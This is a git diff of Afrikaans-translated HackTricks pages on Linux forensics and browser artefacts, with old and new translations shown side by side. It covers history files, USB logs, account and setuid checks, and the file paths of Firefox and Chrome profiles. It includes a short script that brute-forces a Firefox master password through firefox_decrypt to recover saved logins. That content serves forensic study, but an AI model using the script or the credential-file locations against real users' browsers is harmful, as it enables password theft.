- **VIM**: Ondersoek _\~/.viminfo_ vir gebruiksdetails, soos benaderde lêerpaadjies en soekgeskiedenis.
|
||||
- **Open Office**: Kontroleer vir onlangse dokumenttoegang wat dui op gekompromitteerde lêers.
|
||||
- **FTP/SFTP**: Ondersoek logboeke in _\~/.ftp\_history_ of _\~/.sftp\_history_ vir lêeroordragte wat moontlik ongemagtig is.
|
||||
- **MySQL**: Ondersoek _\~/.mysql\_history_ vir uitgevoerde MySQL-navrae, wat moontlik ongemagtigde databasisaktiwiteite kan onthul.
|
||||
- **Less**: Analiseer _\~/.lesshst_ vir gebruiksgeskiedenis, insluitend besigtigde lêers en uitgevoerde opdragte.
|
||||
- **Git**: Ondersoek _\~/.gitconfig_ en projek _.git/logs_ vir veranderinge aan bewaarplekke.
|
||||
|
||||
### USB-loglêers
|
||||
### USB Logboeke
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) is 'n klein stukkie sagteware wat in suiwer Python 3 geskryf is en Linux-loglêers (`/var/log/syslog*` of `/var/log/messages*` afhangende van die distribusie) ontleed om USB-gebeurtenisgeskiedenis-tabelle saam te stel.
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) is 'n klein stukkie sagteware geskryf in suiwer Python 3 wat Linux-log lêers (`/var/log/syslog*` of `/var/log/messages*` afhangende van die distribusie) ontled om USB-gebeurtenisgeskiedenis tabele saam te stel.
|
||||
|
||||
Dit is interessant om **alle USB's wat gebruik is**, te ken en dit sal nuttiger wees as jy 'n geoorloofde lys van USB's het om "oortredingsgebeure" (die gebruik van USB's wat nie binne daardie lys val nie) te vind.
|
||||
Dit is interessant om **al die USB's wat gebruik is te ken** en dit sal meer nuttig wees as jy 'n gemagtigde lys van USB's het om "oortredingsgebeure" te vind (die gebruik van USB's wat nie binne daardie lys is nie).
|
||||
|
||||
### Installasie
|
||||
```bash
|
||||
|
@ -358,107 +337,101 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
|||
```
|
||||
Meer voorbeelde en inligting binne die github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en outomatiese werkstrome te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Oorsig van Gebruikersrekeninge en Aanmeldaktiwiteite
|
||||
|
||||
|
||||
## Oorsig van Gebruikersrekeninge en Aantekenaktiwiteite
|
||||
|
||||
Ondersoek die _**/etc/passwd**_, _**/etc/shadow**_ en **sekuriteitslêers** vir ongewone name of rekeninge wat geskep is en/of gebruik is in die nabyheid van bekende ongemagtigde gebeure. Kyk ook na moontlike sudo-bruteforce-aanvalle.\
|
||||
Ondersoek die _**/etc/passwd**_, _**/etc/shadow**_ en **sekuriteitslogs** vir ongewone name of rekeninge wat geskep is en/of gebruik is in nabyheid van bekende ongemagtigde gebeure. Kyk ook vir moontlike sudo-bruteforce-aanvalle.\
|
||||
Verder, kyk na lêers soos _**/etc/sudoers**_ en _**/etc/groups**_ vir onverwagte voorregte wat aan gebruikers gegee is.\
|
||||
Kyk uiteindelik vir rekeninge sonder wagwoorde of maklik raai wagwoorde.
|
||||
Laastens, soek na rekeninge met **geen wagwoorde** of **maklik gerade** wagwoorde.
|
||||
|
||||
## Ondersoek Lêersisteem
|
||||
|
||||
### Analise van Lêersisteemstrukture in Malware-ondersoek
|
||||
|
||||
Wanneer malware-voorvalle ondersoek word, is die struktuur van die lêersisteem 'n belangrike bron van inligting wat beide die volgorde van gebeure en die inhoud van die malware onthul. Tog ontwikkel malware-skrywers tegnieke om hierdie analise te bemoeilik, soos die wysiging van lêerstempels of die vermyding van die lêersisteem vir data-opberging.
|
||||
Wanneer malware-voorvalle ondersoek word, is die struktuur van die lêersisteem 'n belangrike bron van inligting, wat beide die volgorde van gebeure en die inhoud van die malware onthul. Tog ontwikkel malware-skrywers tegnieke om hierdie analise te bemoeilik, soos die wysiging van lêer-timestamps of die vermyding van die lêersisteem vir data-opberging.
|
||||
|
||||
Om hierdie teen-forensiese metodes te teenwerk, is dit noodsaaklik om:
|
||||
|
||||
- **'n Deeglike tydlyn-analise uit te voer** met behulp van instrumente soos **Autopsy** om gebeurtenis-tydlyne te visualiseer of **Sleuth Kit se** `mactime` vir gedetailleerde tydlyn-data.
|
||||
- **Onverwagte skripte in die $PATH van die stelsel te ondersoek**, wat skulpskote of PHP-skripte wat deur aanvallers gebruik word, kan insluit.
|
||||
- **`/dev` te ondersoek vir ongewone lêers**, aangesien dit tradisioneel spesiale lêers bevat, maar moontlik malware-verwante lêers kan huisves.
|
||||
- **Te soek na verskuilde lêers of gidslyne** met name soos ".. " (punt punt spasie) of "..^G" (punt punt beheer-G), wat kwaadwillige inhoud kan verberg.
|
||||
- **Setuid-root-lêers te identifiseer** met behulp van die opdrag:
|
||||
```find / -user root -perm -04000 -print```
|
||||
Dit vind lêers met verhoogde voorregte wat deur aanvallers misbruik kan word.
|
||||
- **Verwyderingstempelmerkers** in inode-tabelle te hersien om massiewe lêerverwyderings op te spoor, wat moontlik die teenwoordigheid van rootkits of trojane aandui.
|
||||
- **Opeenvolgende inodes te ondersoek** vir nabygeleë kwaadwillige lêers nadat een geïdentifiseer is, aangesien hulle saam geplaas kon wees.
|
||||
- **Gewone binêre gidslyne** (_/bin_, _/sbin_) te ondersoek vir onlangs gewysigde lêers, aangesien hierdie deur malware gewysig kon word.
|
||||
```bash
|
||||
* **Voer 'n deeglike tydlyn-analise uit** met behulp van gereedskappe soos **Autopsy** om gebeurtenis-tydlyne te visualiseer of **Sleuth Kit's** `mactime` vir gedetailleerde tydlyn-data.
|
||||
* **Ondersoek onverwagte skripte** in die stelsel se $PATH, wat dalk skul of PHP-skripte wat deur aanvallers gebruik word, kan insluit.
|
||||
* **Ondersoek `/dev` vir atipiese lêers**, aangesien dit tradisioneel spesiale lêers bevat, maar malware-verwante lêers kan bevat.
|
||||
* **Soek na verskuilde lêers of gidsname** met name soos ".. " (dot dot spatie) of "..^G" (dot dot control-G), wat kwaadwillige inhoud kan verberg.
|
||||
* **Identifiseer setuid-root-lêers** met die opdrag: `find / -user root -perm -04000 -print` Dit vind lêers met verhoogde regte wat deur aanvallers misbruik kan word.
|
||||
* **Ondersoek verwyderingstimestamps** in inode-tabelle om massiewe lêerverwyderings op te spoor, wat moontlik die teenwoordigheid van rootkits of trojane kan aandui.
|
||||
* **Inspekteer aaneenlopende inodes** vir nabygeleë kwaadwillige lêers nadat een geïdentifiseer is, aangesien hulle saam geplaas kon wees.
|
||||
* **Kontroleer algemene binêre gidsname** (_/bin_, _/sbin_) vir onlangs gewysigde lêers, aangesien hierdie deur malware verander kon wees.
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
|
||||
# Sort files in a directory by inode:
|
||||
ls -lai /bin | sort -n```
|
||||
```
|
||||
````
|
||||
{% hint style="info" %}
|
||||
Let daarop dat 'n **aanvaller** die **tyd** kan **verander** om **lêers te laat voorkom** asof dit **wettig** is, maar hy kan die **inode** nie verander nie. As jy vind dat 'n **lêer** aandui dat dit geskep en verander is op dieselfde tyd as die res van die lêers in dieselfde vouer, maar die **inode** onverwags groter is, dan is die **tydstempels van daardie lêer verander**.
|
||||
Let wel dat 'n **aanvaller** die **tyd kan wysig** om **lêers te laat voorkom** asof hulle **wettig** is, maar hy **kan nie** die **inode** wysig nie. As jy vind dat 'n **lêer** aandui dat dit geskep en gewysig is op dieselfde tyd as die res van die lêers in dieselfde vouer, maar die **inode** is **onverwags groter**, dan is die **tydstempels van daardie lêer gewysig**.
|
||||
{% endhint %}
|
||||
|
||||
## Vergelyk lêers van verskillende lêersisteemweergawes
|
||||
|
||||
### Opsomming van Vergelyking van Lêersisteemweergawes
|
||||
|
||||
Om lêersisteemweergawes te vergelyk en veranderinge te identifiseer, gebruik ons vereenvoudigde `git diff`-opdragte:
|
||||
Om lêersisteemweergawes te vergelyk en veranderinge te identifiseer, gebruik ons vereenvoudigde `git diff` opdragte:
|
||||
|
||||
- **Om nuwe lêers te vind**, vergelyk twee gidsen:
|
||||
* **Om nuwe lêers te vind**, vergelyk twee gide:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
- **Vir gewysigde inhoud**, lys veranderinge terwyl spesifieke lyne geïgnoreer word:
|
||||
* **Vir gewysigde inhoud**, lys veranderinge terwyl spesifieke lyne geïgnoreer word:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
- **Om uitgewisde lêers op te spoor**:
|
||||
* **Om uitgewisde lêers op te spoor**:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
- **Filteropsies** (`--diff-filter`) help om te versmalling na spesifieke veranderinge soos bygevoeg (`A`), verwyder (`D`), of gewysig (`M`) lêers.
|
||||
- `A`: Bygevoegde lêers
|
||||
- `C`: Gekopieerde lêers
|
||||
- `D`: Verwyderde lêers
|
||||
- `M`: Gewysigde lêers
|
||||
- `R`: Hernoemde lêers
|
||||
- `T`: Tipe veranderinge (bv. lêer na simbooliese skakel)
|
||||
- `U`: Onversoenbare lêers
|
||||
- `X`: Onbekende lêers
|
||||
- `B`: Gebroke lêers
|
||||
* **Filter opsies** (`--diff-filter`) help om te spesifiseer soos bygevoeg (`A`), verwyder (`D`), of gewysig (`M`) lêers.
|
||||
* `A`: Bygevoegde lêers
|
||||
* `C`: Gekopieerde lêers
|
||||
* `D`: Verwyderde lêers
|
||||
* `M`: Gewysigde lêers
|
||||
* `R`: Hernoemde lêers
|
||||
* `T`: Tipe veranderinge (bv., lêer na simbooliese skakel)
|
||||
* `U`: Ongesmerge lêers
|
||||
* `X`: Onbekende lêers
|
||||
* `B`: Gebreekte lêers
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
|
||||
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
|
||||
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
* **Boek: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
|
||||
* **Boek: Malware Forensics Field Guide vir Linux-stelsels: Digitale Forensics Field Guides**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks-swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
||||
**Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
**Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloeie** te bou met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkafvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,80 +1,78 @@
|
|||
# Blaaier Artefakte
|
||||
# Browser Artefakte
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werkstrome** te bou met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Blaaier Artefakte <a href="#id-3def" id="id-3def"></a>
|
||||
## Browser Artefakte <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
Blaaier artefakte sluit verskillende soorte data in wat deur webblaaier gestoor word, soos navigasiegeskiedenis, bladmerke en kasdata. Hierdie artefakte word in spesifieke lêers binne die bedryfstelsel gehou, wat verskil in ligging en naam oor blaaier, maar oor die algemeen soortgelyke datatipes stoor.
|
||||
Browser artefakte sluit verskeie soorte data in wat deur webblaaier gestoor word, soos navigasiegeskiedenis, bladmerke en tuisbladdata. Hierdie artefakte word in spesifieke velde binne die bedryfstelsel gehou, wat verskil in ligging en naam oor blaaier, maar oor die algemeen soortgelyke datatipes stoor.
|
||||
|
||||
Hier is 'n opsomming van die mees algemene blaaier artefakte:
|
||||
|
||||
- **Navigasiegeskiedenis**: Hou by watter webwerwe die gebruiker besoek het, nuttig om besoeke aan skadelike webwerwe te identifiseer.
|
||||
- **Outomatiese voltooiingsdata**: Voorstelle gebaseer op gereelde soektogte, bied insigte wanneer dit gekombineer word met navigasiegeskiedenis.
|
||||
- **Bladmerke**: Webwerwe wat deur die gebruiker gestoor is vir vinnige toegang.
|
||||
- **Uitbreidings en Byvoegings**: Blaaieruitbreidings of byvoegings wat deur die gebruiker geïnstalleer is.
|
||||
- **Kas**: Stoor webinhoud (bv. beelde, JavaScript-lêers) om webwerflaaitye te verbeter, waardevol vir forensiese analise.
|
||||
- **Aantekeninge**: Gestoorde aanmeldingslegitimasie.
|
||||
- **Favicons**: Ikone wat met webwerwe geassosieer word en in blaaierblaaie en bladmerke verskyn, nuttig vir addisionele inligting oor gebruikersbesoeke.
|
||||
- **Blaaier-sessies**: Data wat verband hou met oop blaaier-sessies.
|
||||
- **Aflaaiers**: Rekords van lêers wat deur die blaaier afgelaai is.
|
||||
- **Vormdata**: Inligting wat in webvorms ingevoer is en gestoor word vir toekomstige outomatiese voltooiingsvoorstelle.
|
||||
- **Duimnaels**: Voorskou-afbeeldings van webwerwe.
|
||||
- **Custom Dictionary.txt**: Woorde wat deur die gebruiker by die blaaier se woordeboek gevoeg is.
|
||||
|
||||
* **Navigasiegeskiedenis**: Spoor gebruikersbesoeke aan webwerwe, nuttig vir die identifisering van besoeke aan skadelike webwerwe.
|
||||
* **Outomatiese Data**: Voorstelle gebaseer op gereelde soektogte, bied insigte wanneer dit gekombineer word met navigasiegeskiedenis.
|
||||
* **Bladmerke**: Webwerwe wat deur die gebruiker gestoor is vir vinnige toegang.
|
||||
* **Uitbreidings en Byvoegings**: Blaaieruitbreidings of byvoegings wat deur die gebruiker geïnstalleer is.
|
||||
* **Tuisblad**: Stoor webinhoud (bv. afbeeldings, JavaScript-lêers) om webwerf-laaitye te verbeter, waardevol vir forensiese analise.
|
||||
* **Aantekeninge**: Gestoorde aanmeldingsgelde.
|
||||
* **Favicons**: Ikone wat met webwerwe geassosieer word, verskyn in lêers en bladmerke, nuttig vir addisionele inligting oor gebruikersbesoeke.
|
||||
* **Blaaier-sessies**: Data wat verband hou met oop blaaier-sessies.
|
||||
* **Aflaaie**: Rekords van lêers wat deur die blaaier afgelaai is.
|
||||
* **Vormdata**: Inligting wat in webvorms ingevoer is, gestoor vir toekomstige outomatiese voorstelle.
|
||||
* **Duimnaels**: Voorskou-afbeeldings van webwerwe.
|
||||
* **Aangepaste Dictionary.txt**: Woorde wat deur die gebruiker by die blaaier se woordeboek gevoeg is.
|
||||
|
||||
## Firefox
|
||||
|
||||
Firefox organiseer gebruikersdata binne profiele, wat in spesifieke liggings volgens die bedryfstelsel gestoor word:
|
||||
Firefox organiseer gebruikersdata binne profiele, gestoor op spesifieke plekke gebaseer op die bedryfstelsel:
|
||||
|
||||
- **Linux**: `~/.mozilla/firefox/`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
* **Linux**: `~/.mozilla/firefox/`
|
||||
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
* **Windows**: `%userprofile%\AppData\Roaming/Mozilla/Firefox/Profiles/`
|
||||
|
||||
'n `profiles.ini`-lêer binne hierdie gidslys die gebruikersprofiele. Elke profiel se data word in 'n vouer gestoor wat genoem word in die `Path`-veranderlike binne `profiles.ini`, wat in dieselfde gids as `profiles.ini` self geleë is. As 'n profiel se vouer ontbreek, is dit moontlik uitgevee.
|
||||
'n `profiles.ini`-lêer binne hierdie gide lys die gebruikersprofiele. Elke profiel se data word gestoor in 'n vouer genoem in die `Path`-veranderlike binne `profiles.ini`, geleë in dieselfde gids as `profiles.ini` self. As 'n profiel se vouer ontbreek, kan dit verwyder wees.
|
||||
|
||||
Binne elke profielvouer kan jy verskeie belangrike lêers vind:
|
||||
|
||||
- **places.sqlite**: Stoor geskiedenis, bladmerke en aflaaie. Gereedskap soos [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) op Windows kan toegang verkry tot die geskiedenisdata.
|
||||
- Gebruik spesifieke SQL-navrae om geskiedenis- en aflaaie-inligting te onttrek.
|
||||
- **bookmarkbackups**: Bevat rugsteun van bladmerke.
|
||||
- **formhistory.sqlite**: Stoor webvormdata.
|
||||
- **handlers.json**: Bestuur protokolhanteraars.
|
||||
- **persdict.dat**: Aangepaste woordeboekwoorde.
|
||||
- **addons.json** en **extensions.sqlite**: Inligting oor geïnstalleerde byvoegings en uitbreidings.
|
||||
- **cookies.sqlite**: Koekie-opberging, met [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) beskikbaar vir inspeksie op Windows.
|
||||
- **cache2/entries** of **startupCache**: Kasdata, toeganklik deur gereedskap soos [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
|
||||
- **favicons.sqlite**: Stoor favicons.
|
||||
- **prefs.js**: Gebruikersinstellings en voorkeure.
|
||||
- **downloads.sqlite**: Ouer aflaaie-databasis, nou geïntegreer in places.sqlite.
|
||||
- **thumbnails**: Webwerf-duimnaels.
|
||||
- **logins.json**: Versleutelde aanmeldingsinligting.
|
||||
- **key4.db** of **key3.db**: Stoor versleutelingssleutels vir die beveiliging van sensitiewe inligting.
|
||||
* **places.sqlite**: Stoor geskiedenis, bladmerke en aflaaie. Gereedskap soos [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) op Windows kan toegang verkry tot die geskiedenisdata.
|
||||
* Gebruik spesifieke SQL-navrae om geskiedenis- en aflaaie-inligting te onttrek.
|
||||
* **bookmarkbackups**: Bevat rugsteun van bladmerke.
|
||||
* **formhistory.sqlite**: Stoor webvormdata.
|
||||
* **handlers.json**: Bestuur protokolhanteraars.
|
||||
* **persdict.dat**: Aangepaste woordeboekwoorde.
|
||||
* **addons.json** en **extensions.sqlite**: Inligting oor geïnstalleerde byvoegings en uitbreidings.
|
||||
* **cookies.sqlite**: Koekie-opberging, met [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) beskikbaar vir inspeksie op Windows.
|
||||
* **cache2/entries** of **startupCache**: Tuisbladdata, toeganklik deur gereedskap soos [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
|
||||
* **favicons.sqlite**: Stoor favicons.
|
||||
* **prefs.js**: Gebruikersinstellings en voorkeure.
|
||||
* **downloads.sqlite**: Ouer aflaaie-databasis, nou geïntegreer in places.sqlite.
|
||||
* **thumbnails**: Webwerfduimnaels.
|
||||
* **logins.json**: Versleutelde aanmeldingsinligting.
|
||||
* **key4.db** of **key3.db**: Stoor versleutelingsleutels vir die beveiliging van sensitiewe inligting.
|
||||
|
||||
Daarbenewens kan die blaaier se anti-phishing-instellings nagegaan word deur te soek na `browser.safebrowsing`-inskrywings in `prefs.js`, wat aandui of veilige blaaierfunksies geaktiveer of gedeaktiveer is.
|
||||
Daarbenewens kan die blaaier se anti-phishing-instellings nagegaan word deur te soek na `browser.safebrowsing`-inskrywings in `prefs.js`, wat aandui of veilige blaai-funksies geaktiveer of gedeaktiveer is.
|
||||
|
||||
|
||||
Om te probeer om die meesterwagwoord te ontsluit, kan jy [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) gebruik.\
|
||||
Met die volgende skripsie en oproep kan jy 'n wagwoordlêer spesifiseer om kragtig te krag:
|
||||
Om te probeer om die meesterwagwoord te ontsluit, kan jy [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) gebruik\
|
||||
Met die volgende skripsie en oproep kan jy 'n wagwoordlêer spesifiseer om krag te gebruik:
|
||||
|
||||
{% code title="brute.sh" %}
|
||||
```bash
|
||||
|
@ -87,68 +85,68 @@ echo "Trying $pass"
|
|||
echo "$pass" | python firefox_decrypt.py
|
||||
done < $passfile
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
.png>)
|
||||
|
||||
## Google Chrome
|
||||
|
||||
Google Chrome stoor gebruikersprofielle in spesifieke liggings gebaseer op die bedryfstelsel:
|
||||
Google Chrome stoor gebruikersprofiele op spesifieke plekke gebaseer op die bedryfstelsel:
|
||||
|
||||
- **Linux**: `~/.config/google-chrome/`
|
||||
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||
|
||||
Binne hierdie gids, kan die meeste gebruikersdata gevind word in die **Default/** of **ChromeDefaultData/** gids. Die volgende lêers bevat belangrike data:
|
||||
Binne hierdie gids kan die meeste gebruikersdata gevind word in die **Default/** of **ChromeDefaultData/** vouers. Die volgende lêers bevat belangrike data:
|
||||
|
||||
- **Geskiedenis**: Bevat URL's, aflaaiers, en soek sleutelwoorde. Op Windows, kan [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) gebruik word om die geskiedenis te lees. Die "Transition Type" kolom het verskillende betekenisse, insluitend gebruiker klieke op skakels, getikte URL's, vorm indienings, en bladsy herlaaiings.
|
||||
- **Koekies**: Stoor koekies. Vir inspeksie, is [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) beskikbaar.
|
||||
- **Cache**: Hou gekasde data. Om te inspekteer, kan Windows gebruikers [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) gebruik.
|
||||
- **Geskiedenis**: Bevat URL's, aflaaie, en soek sleutelwoorde. Op Windows kan [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) gebruik word om die geskiedenis te lees. Die "Oorgangstipe" kolom het verskeie betekenisse, insluitend gebruikersklikke op skakels, getikte URL's, vormindienings, en bladsy herlaaiings.
|
||||
- **Koekies**: Stoor koekies. Vir inspeksie is [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) beskikbaar.
|
||||
- **Cache**: Hou gekaapte data. Windows-gebruikers kan [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) gebruik om te inspekteer.
|
||||
- **Bladmerke**: Gebruiker bladmerke.
|
||||
- **Web Data**: Bevat vorm geskiedenis.
|
||||
- **Web Data**: Bevat vormgeskiedenis.
|
||||
- **Favicons**: Stoor webwerf favicons.
|
||||
- **Login Data**: Sluit aanmeldingslegitimasie soos gebruikersname en wagwoorde in.
|
||||
- **Huidige Sessie**/**Huidige Vlakke**: Data oor die huidige blaaier sessie en oop vlakke.
|
||||
- **Laaste Sessie**/**Laaste Vlakke**: Inligting oor die webwerwe aktief gedurende die laaste sessie voor Chrome gesluit is.
|
||||
- **Uitbreidings**: Gids vir blaaier uitbreidings en addons.
|
||||
- **Aantekeningsdata**: Sluit aanmeldingsbewyse soos gebruikersname en wagwoorde in.
|
||||
